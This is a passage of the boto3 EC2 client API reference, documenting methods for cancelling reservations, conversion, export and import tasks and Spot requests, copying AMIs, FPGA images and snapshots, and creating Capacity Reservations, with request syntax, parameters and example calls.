+Cancels the specified Capacity Reservation, releases the reserved capacity, and changes the Capacity Reservation's state to cancelled . + +Instances running in the reserved capacity continue running until you stop them. Stopped instances that target the Capacity Reservation can no longer launch. Modify these instances to either target a different Capacity Reservation, launch On-Demand Instance capacity, or run in any open Capacity Reservation that has matching attributes and sufficient capacity. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CancelCapacityReservation) + +**Request Syntax** + +response = client.cancel_capacity_reservation( + CapacityReservationId='string', + DryRun=True|False +) + +Parameters + +* **CapacityReservationId** (_string_) -- + + **[REQUIRED]** + + The ID of the Capacity Reservation to be cancelled. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +cancel_conversion_task(kwargs_) + +Cancels an active conversion task. The task can be the import of an instance or volume. The action removes all artifacts of the conversion, including a partially uploaded volume or instance. If the conversion is complete or is in the process of transferring the final disk image, the command fails and returns an exception. + +For more information, see [Importing a Virtual Machine Using the Amazon EC2 CLI](https://docs.aws.amazon.com/AWSEC2/latest/CommandLineReference/ec2-cli-vmimport-export.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CancelConversionTask) + +**Request Syntax** + +response = client.cancel_conversion_task( + ConversionTaskId='string', + DryRun=True|False, + ReasonMessage='string' +) + +Parameters + +* **ConversionTaskId** (_string_) -- + + **[REQUIRED]** + + The ID of the conversion task. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ReasonMessage** (_string_) -- The reason for canceling the conversion task. + +Returns + +None + +cancel_export_task(kwargs_) + +Cancels an active export task. The request removes all artifacts of the export, including any partially-created Amazon S3 objects. If the export task is complete or is in the process of transferring the final disk image, the command fails and returns an error. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CancelExportTask) + +**Request Syntax** + +response = client.cancel_export_task( + ExportTaskId='string' +) + +Parameters + +**ExportTaskId** (_string_) -- + +**[REQUIRED]** + +The ID of the export task. This is the ID returned by CreateInstanceExportTask . + +Returns + +None + +cancel_import_task(kwargs_) + +Cancels an in-process import virtual machine or import snapshot task. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CancelImportTask) + +**Request Syntax** + +response = client.cancel_import_task( + CancelReason='string', + DryRun=True|False, + ImportTaskId='string' +) + +Parameters + +* **CancelReason** (_string_) -- The reason for canceling the task. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ImportTaskId** (_string_) -- The ID of the import image or import snapshot task to be canceled. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ImportTaskId': 'string', + 'PreviousState': 'string', + 'State': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ImportTaskId** _(string) --_ + + The ID of the task being canceled. + + * **PreviousState** _(string) --_ + + The current state of the task being canceled. + + * **State** _(string) --_ + + The current state of the task being canceled. + + +cancel_reserved_instances_listing(kwargs_) + +Cancels the specified Reserved Instance listing in the Reserved Instance Marketplace. + +For more information, see [Reserved Instance Marketplace](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ri-market-general.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CancelReservedInstancesListing) + +**Request Syntax** + +response = client.cancel_reserved_instances_listing( + ReservedInstancesListingId='string' +) + +Parameters + +**ReservedInstancesListingId** (_string_) -- + +**[REQUIRED]** + +The ID of the Reserved Instance listing. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReservedInstancesListings': [ + { + 'ClientToken': 'string', + 'CreateDate': datetime(2015, 1, 1), + 'InstanceCounts': [ + { + 'InstanceCount': 123, + 'State': 'available'|'sold'|'cancelled'|'pending' + }, + ], + 'PriceSchedules': [ + { + 'Active': True|False, + 'CurrencyCode': 'USD', + 'Price': 123.0, + 'Term': 123 + }, + ], + 'ReservedInstancesId': 'string', + 'ReservedInstancesListingId': 'string', + 'Status': 'active'|'pending'|'cancelled'|'closed', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'UpdateDate': datetime(2015, 1, 1) + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CancelReservedInstancesListing. + + * **ReservedInstancesListings** _(list) --_ + + The Reserved Instance listing. + + * _(dict) --_ + + Describes a Reserved Instance listing. + + * **ClientToken** _(string) --_ + + A unique, case-sensitive key supplied by the client to ensure that the request is idempotent. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + * **CreateDate** _(datetime) --_ + + The time the listing was created. + + * **InstanceCounts** _(list) --_ + + The number of instances in this state. + + * _(dict) --_ + + Describes a Reserved Instance listing state. + + * **InstanceCount** _(integer) --_ + + The number of listed Reserved Instances in the state specified by the state . + + * **State** _(string) --_ + + The states of the listed Reserved Instances. + + * **PriceSchedules** _(list) --_ + + The price of the Reserved Instance listing. + + * _(dict) --_ + + Describes the price for a Reserved Instance. + + * **Active** _(boolean) --_ + + The current price schedule, as determined by the term remaining for the Reserved Instance in the listing. + + A specific price schedule is always in effect, but only one price schedule can be active at any time. Take, for example, a Reserved Instance listing that has five months remaining in its term. When you specify price schedules for five months and two months, this means that schedule 1, covering the first three months of the remaining term, will be active during months 5, 4, and 3. Then schedule 2, covering the last two months of the term, will be active for months 2 and 1. + + * **CurrencyCode** _(string) --_ + + The currency for transacting the Reserved Instance resale. At this time, the only supported currency is USD . + + * **Price** _(float) --_ + + The fixed price for the term. + + * **Term** _(integer) --_ + + The number of months remaining in the reservation. For example, 2 is the second to the last month before the capacity reservation expires. + + * **ReservedInstancesId** _(string) --_ + + The ID of the Reserved Instance. + + * **ReservedInstancesListingId** _(string) --_ + + The ID of the Reserved Instance listing. + + * **Status** _(string) --_ + + The status of the Reserved Instance listing. + + * **StatusMessage** _(string) --_ + + The reason for the current status of the Reserved Instance listing. The response can be blank. + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **UpdateDate** _(datetime) --_ + + The last modified timestamp of the listing. + + +cancel_spot_fleet_requests(kwargs_) + +Cancels the specified Spot Fleet requests. + +After you cancel a Spot Fleet request, the Spot Fleet launches no new Spot Instances. You must specify whether the Spot Fleet should also terminate its Spot Instances. If you terminate the instances, the Spot Fleet request enters the cancelled_terminating state. Otherwise, the Spot Fleet request enters the cancelled_running state and the instances continue to run until they are interrupted or you terminate them manually. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CancelSpotFleetRequests) + +**Request Syntax** + +response = client.cancel_spot_fleet_requests( + DryRun=True|False, + SpotFleetRequestIds=[ + 'string', + ], + TerminateInstances=True|False +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **SpotFleetRequestIds** (_list_) -- + + **[REQUIRED]** + + The IDs of the Spot Fleet requests. + + * _(string) --_ +* **TerminateInstances** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether to terminate instances for a Spot Fleet request if it is canceled successfully. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SuccessfulFleetRequests': [ + { + 'CurrentSpotFleetRequestState': 'submitted'|'active'|'cancelled'|'failed'|'cancelled_running'|'cancelled_terminating'|'modifying', + 'PreviousSpotFleetRequestState': 'submitted'|'active'|'cancelled'|'failed'|'cancelled_running'|'cancelled_terminating'|'modifying', + 'SpotFleetRequestId': 'string' + }, + ], + 'UnsuccessfulFleetRequests': [ + { + 'Error': { + 'Code': 'fleetRequestIdDoesNotExist'|'fleetRequestIdMalformed'|'fleetRequestNotInCancellableState'|'unexpectedError', + 'Message': 'string' + }, + 'SpotFleetRequestId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CancelSpotFleetRequests. + + * **SuccessfulFleetRequests** _(list) --_ + + Information about the Spot Fleet requests that are successfully canceled. + + * _(dict) --_ + + Describes a Spot Fleet request that was successfully canceled. + + * **CurrentSpotFleetRequestState** _(string) --_ + + The current state of the Spot Fleet request. + + * **PreviousSpotFleetRequestState** _(string) --_ + + The previous state of the Spot Fleet request. + + * **SpotFleetRequestId** _(string) --_ + + The ID of the Spot Fleet request. + + * **UnsuccessfulFleetRequests** _(list) --_ + + Information about the Spot Fleet requests that are not successfully canceled. + + * _(dict) --_ + + Describes a Spot Fleet request that was not successfully canceled. + + * **Error** _(dict) --_ + + The error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The description for the error code. + + * **SpotFleetRequestId** _(string) --_ + + The ID of the Spot Fleet request. + + +**Examples** + +This example cancels the specified Spot fleet request and terminates its associated Spot Instances. + +response = client.cancel_spot_fleet_requests( + SpotFleetRequestIds=[ + 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + ], + TerminateInstances=True, +) + +print(response) + +Expected Output: + +{ + 'SuccessfulFleetRequests': [ + { + 'CurrentSpotFleetRequestState': 'cancelled_running', + 'PreviousSpotFleetRequestState': 'active', + 'SpotFleetRequestId': 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +This example cancels the specified Spot fleet request without terminating its associated Spot Instances. + +response = client.cancel_spot_fleet_requests( + SpotFleetRequestIds=[ + 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + ], + TerminateInstances=False, +) + +print(response) + +Expected Output: + +{ + 'SuccessfulFleetRequests': [ + { + 'CurrentSpotFleetRequestState': 'cancelled_terminating', + 'PreviousSpotFleetRequestState': 'active', + 'SpotFleetRequestId': 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +cancel_spot_instance_requests(kwargs_) + +Cancels one or more Spot Instance requests. + +Warning + +Canceling a Spot Instance request does not terminate running Spot Instances associated with the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CancelSpotInstanceRequests) + +**Request Syntax** + +response = client.cancel_spot_instance_requests( + DryRun=True|False, + SpotInstanceRequestIds=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **SpotInstanceRequestIds** (_list_) -- + + **[REQUIRED]** + + One or more Spot Instance request IDs. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CancelledSpotInstanceRequests': [ + { + 'SpotInstanceRequestId': 'string', + 'State': 'active'|'open'|'closed'|'cancelled'|'completed' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CancelSpotInstanceRequests. + + * **CancelledSpotInstanceRequests** _(list) --_ + + One or more Spot Instance requests. + + * _(dict) --_ + + Describes a request to cancel a Spot Instance. + + * **SpotInstanceRequestId** _(string) --_ + + The ID of the Spot Instance request. + + * **State** _(string) --_ + + The state of the Spot Instance request. + + +**Examples** + +This example cancels a Spot Instance request. + +response = client.cancel_spot_instance_requests( + SpotInstanceRequestIds=[ + 'sir-08b93456', + ], +) + +print(response) + +Expected Output: + +{ + 'CancelledSpotInstanceRequests': [ + { + 'SpotInstanceRequestId': 'sir-08b93456', + 'State': 'cancelled', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +confirm_product_instance(kwargs_) + +Determines whether a product code is associated with an instance. This action can only be used by the owner of the product code. It is useful when a product code owner must verify whether another user's instance is eligible for support. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ConfirmProductInstance) + +**Request Syntax** + +response = client.confirm_product_instance( + InstanceId='string', + ProductCode='string', + DryRun=True|False +) + +Parameters + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **ProductCode** (_string_) -- + + **[REQUIRED]** + + The product code. This must be a product code that you own. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'OwnerId': 'string', + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **OwnerId** _(string) --_ + + The AWS account ID of the instance owner. This is only present if the product code is attached to the instance. + + * **Return** _(boolean) --_ + + The return value of the request. Returns true if the specified product code is owned by the requester and associated with the specified instance. + + +**Examples** + +This example determines whether the specified product code is associated with the specified instance. + +response = client.confirm_product_instance( + InstanceId='i-1234567890abcdef0', + ProductCode='774F4FF8', +) + +print(response) + +Expected Output: + +{ + 'OwnerId': '123456789012', + 'ResponseMetadata': { + '...': '...', + }, +} + +copy_fpga_image(kwargs_) + +Copies the specified Amazon FPGA Image (AFI) to the current Region. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CopyFpgaImage) + +**Request Syntax** + +response = client.copy_fpga_image( + DryRun=True|False, + SourceFpgaImageId='string', + Description='string', + Name='string', + SourceRegion='string', + ClientToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **SourceFpgaImageId** (_string_) -- + + **[REQUIRED]** + + The ID of the source AFI. + +* **Description** (_string_) -- The description for the new AFI. +* **Name** (_string_) -- The name for the new AFI. The default is the name of the source AFI. +* **SourceRegion** (_string_) -- + + **[REQUIRED]** + + The Region that contains the source AFI. + +* **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Run_Instance_Idempotency.html) . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'FpgaImageId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **FpgaImageId** _(string) --_ + + The ID of the new AFI. + + +copy_image(kwargs_) + +Initiates the copy of an AMI from the specified source Region to the current Region. You specify the destination Region by using its endpoint when making the request. + +Copies of encrypted backing snapshots for the AMI are encrypted. Copies of unencrypted backing snapshots remain unencrypted, unless you set Encrypted during the copy operation. You cannot create an unencrypted copy of an encrypted backing snapshot. + +For more information about the prerequisites and limits when copying an AMI, see [Copying an AMI](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/CopyingAMIs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CopyImage) + +**Request Syntax** + +response = client.copy_image( + ClientToken='string', + Description='string', + Encrypted=True|False, + KmsKeyId='string', + Name='string', + SourceImageId='string', + SourceRegion='string', + DryRun=True|False +) + +Parameters + +* **ClientToken** (_string_) -- Unique, case-sensitive identifier you provide to ensure idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Run_Instance_Idempotency.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **Description** (_string_) -- A description for the new AMI in the destination Region. +* **Encrypted** (_boolean_) -- Specifies whether the destination snapshots of the copied image should be encrypted. You can encrypt a copy of an unencrypted snapshot, but you cannot create an unencrypted copy of an encrypted snapshot. The default CMK for EBS is used unless you specify a non-default AWS Key Management Service (AWS KMS) CMK using KmsKeyId . For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **KmsKeyId** (_string_) -- + + The identifier of the symmetric AWS Key Management Service (AWS KMS) customer master key (CMK) to use when creating encrypted volumes. If this parameter is not specified, your AWS managed CMK for EBS is used. If you specify a CMK, you must also set the encrypted state to true . + + You can specify a CMK using any of the following: + + * Key ID. For example, 1234abcd-12ab-34cd-56ef-1234567890ab. + * Key alias. For example, alias/ExampleAlias. + * Key ARN. For example, arn:aws:kms:us-east-1:012345678910:key/1234abcd-12ab-34cd-56ef-1234567890ab. + * Alias ARN. For example, arn:aws:kms:us-east-1:012345678910:alias/ExampleAlias. + + AWS authenticates the CMK asynchronously. Therefore, if you specify an identifier that is not valid, the action can appear to complete, but eventually fails. + + The specified CMK must exist in the destination Region. + + Amazon EBS does not support asymmetric CMKs. + +* **Name** (_string_) -- + + **[REQUIRED]** + + The name of the new AMI in the destination Region. + +* **SourceImageId** (_string_) -- + + **[REQUIRED]** + + The ID of the AMI to copy. + +* **SourceRegion** (_string_) -- + + **[REQUIRED]** + + The name of the Region that contains the AMI to copy. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ImageId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of CopyImage. + + * **ImageId** _(string) --_ + + The ID of the new AMI. + + +**Examples** + +This example copies the specified AMI from the us-east-1 region to the current region. + +response = client.copy_image( + Description='', + Name='My server', + SourceImageId='ami-5731123e', + SourceRegion='us-east-1', +) + +print(response) + +Expected Output: + +{ + 'ImageId': 'ami-438bea42', + 'ResponseMetadata': { + '...': '...', + }, +} + +copy_snapshot(kwargs_) + +Copies a point-in-time snapshot of an EBS volume and stores it in Amazon S3. You can copy the snapshot within the same Region or from one Region to another. You can use the snapshot to create EBS volumes or Amazon Machine Images (AMIs). + +Copies of encrypted EBS snapshots remain encrypted. Copies of unencrypted snapshots remain unencrypted, unless you enable encryption for the snapshot copy operation. By default, encrypted snapshot copies use the default AWS Key Management Service (AWS KMS) customer master key (CMK); however, you can specify a different CMK. + +To copy an encrypted snapshot that has been shared from another account, you must have permissions for the CMK used to encrypt the snapshot. + +Snapshots created by copying another snapshot have an arbitrary volume ID that should not be used for any purpose. + +For more information, see [Copying an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-copy-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CopySnapshot) + +**Request Syntax** + +response = client.copy_snapshot( + Description='string', + Encrypted=True|False, + KmsKeyId='string', + SourceRegion='string', + SourceSnapshotId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- A description for the EBS snapshot. +* **DestinationRegion** (_string_) -- + + The destination Region to use in the PresignedUrl parameter of a snapshot copy operation. This parameter is only valid for specifying the destination Region in a PresignedUrl parameter, where it is required. + + The snapshot copy is sent to the regional endpoint that you sent the HTTP request to (for example, ec2.us-east-1.amazonaws.com ). With the AWS CLI, this is specified using the --region parameter or the default Region in your AWS configuration file. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **Encrypted** (_boolean_) -- To encrypt a copy of an unencrypted snapshot if encryption by default is not enabled, enable encryption using this parameter. Otherwise, omit this parameter. Encrypted snapshots are encrypted, even if you omit this parameter and encryption by default is not enabled. You cannot set this parameter to false. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **KmsKeyId** (_string_) -- + + The identifier of the AWS Key Management Service (AWS KMS) customer master key (CMK) to use for Amazon EBS encryption. If this parameter is not specified, your AWS managed CMK for EBS is used. If KmsKeyId is specified, the encrypted state must be true . + + You can specify the CMK using any of the following: + + * Key ID. For example, 1234abcd-12ab-34cd-56ef-1234567890ab. + * Key alias. For example, alias/ExampleAlias. + * Key ARN. For example, arn:aws:kms:us-east-1:012345678910:key/1234abcd-12ab-34cd-56ef-1234567890ab. + * Alias ARN. For example, arn:aws:kms:us-east-1:012345678910:alias/ExampleAlias. + + AWS authenticates the CMK asynchronously. Therefore, if you specify an ID, alias, or ARN that is not valid, the action can appear to complete, but eventually fails. + +* **PresignedUrl** (_string_) -- + + When you copy an encrypted source snapshot using the Amazon EC2 Query API, you must supply a pre-signed URL. This parameter is optional for unencrypted snapshots. For more information, see [Query requests](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Query-Requests.html) . + + The PresignedUrl should use the snapshot source endpoint, the CopySnapshot action, and include the SourceRegion , SourceSnapshotId , and DestinationRegion parameters. The PresignedUrl must be signed using AWS Signature Version 4. Because EBS snapshots are stored in Amazon S3, the signing algorithm for this parameter uses the same logic that is described in [Authenticating Requests: Using Query Parameters (AWS Signature Version 4)](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html) in the _Amazon Simple Storage Service API Reference_ . An invalid or improperly signed PresignedUrl will cause the copy operation to fail asynchronously, and the snapshot will move to an error state. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **SourceRegion** (_string_) -- + + **[REQUIRED]** + + The ID of the Region that contains the snapshot to be copied. + +* **SourceSnapshotId** (_string_) -- + + **[REQUIRED]** + + The ID of the EBS snapshot to copy. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the new snapshot. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id51)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id53)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SnapshotId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **SnapshotId** _(string) --_ + + The ID of the new snapshot. + + * **Tags** _(list) --_ + + Any tags applied to the new snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example copies a snapshot with the snapshot ID of snap-066877671789bd71b from the us-west-2 region to the us-east-1 region and adds a short description to identify the snapshot. + +response = client.copy_snapshot( + Description='This is my copied snapshot.', + DestinationRegion='us-east-1', + SourceRegion='us-west-2', + SourceSnapshotId='snap-066877671789bd71b', +) + +print(response) + +Expected Output: + +{ + 'SnapshotId': 'snap-066877671789bd71b', + 'ResponseMetadata': { + '...': '...', + }, +} + +create_capacity_reservation(kwargs_) + +Creates a new Capacity Reservation with the specified attributes. + +Capacity Reservations enable you to reserve capacity for your Amazon EC2 instances in a specific Availability Zone for any duration. This gives you the flexibility to selectively add capacity reservations and still get the Regional RI discounts for that usage. By creating Capacity Reservations, you ensure that you always have access to Amazon EC2 capacity when you need it, for as long as you need it. For more information, see [Capacity Reservations](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-capacity-reservations.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +Your request to create a Capacity Reservation could fail if Amazon EC2 does not have sufficient capacity to fulfill the request. If your request fails due to Amazon EC2 capacity constraints, either try again at a later time, try in a different Availability Zone, or request a smaller capacity reservation. If your application is flexible across instance types and sizes, try to create a Capacity Reservation with different instance attributes. + +Your request could also fail if the requested quantity exceeds your On-Demand Instance limit for the selected instance type. If your request fails due to limit constraints, increase your On-Demand Instance limit for the required instance type and try again. For more information about increasing your instance limits, see [Amazon EC2 Service Limits](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-resource-limits.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateCapacityReservation) + +**Request Syntax** + +response = client.create_capacity_reservation( + ClientToken='string', + InstanceType='string', + InstancePlatform='Linux/UNIX'|'Red Hat Enterprise Linux'|'SUSE Linux'|'Windows'|'Windows with SQL Server'|'Windows with SQL Server Enterprise'|'Windows with SQL Server Standard'|'Windows with SQL Server Web'|'Linux with SQL Server Standard'|'Linux with SQL Server Web'|'Linux with SQL Server Enterprise', + AvailabilityZone='string', + AvailabilityZoneId='string', + Tenancy='default'|'dedicated', + InstanceCount=123, + EbsOptimized=True|False, + EphemeralStorage=True|False, + EndDate=datetime(2015, 1, 1), + EndDateType='unlimited'|'limited', + InstanceMatchCriteria='open'|'targeted', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . +* **InstanceType** (_string_) -- + + **[REQUIRED]** + + The instance type for which to reserve capacity. For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **InstancePlatform** (_string_) -- + + **[REQUIRED]** + + The type of operating system for which to reserve capacity. + +* **AvailabilityZone** (_string_) -- The Availability Zone in which to create the Capacity Reservation. +* **AvailabilityZoneId** (_string_) -- The ID of the Availability Zone in which to create the Capacity Reservation. +* **Tenancy** (_string_) -- + + Indicates the tenancy of the Capacity Reservation. A Capacity Reservation can have one of the following tenancy settings: + + * default - The Capacity Reservation is created on hardware that is shared with other AWS accounts. + * dedicated - The Capacity Reservation is created on single-tenant hardware that is dedicated to a single AWS account. +* **InstanceCount** (_integer_) -- + + **[REQUIRED]** + + 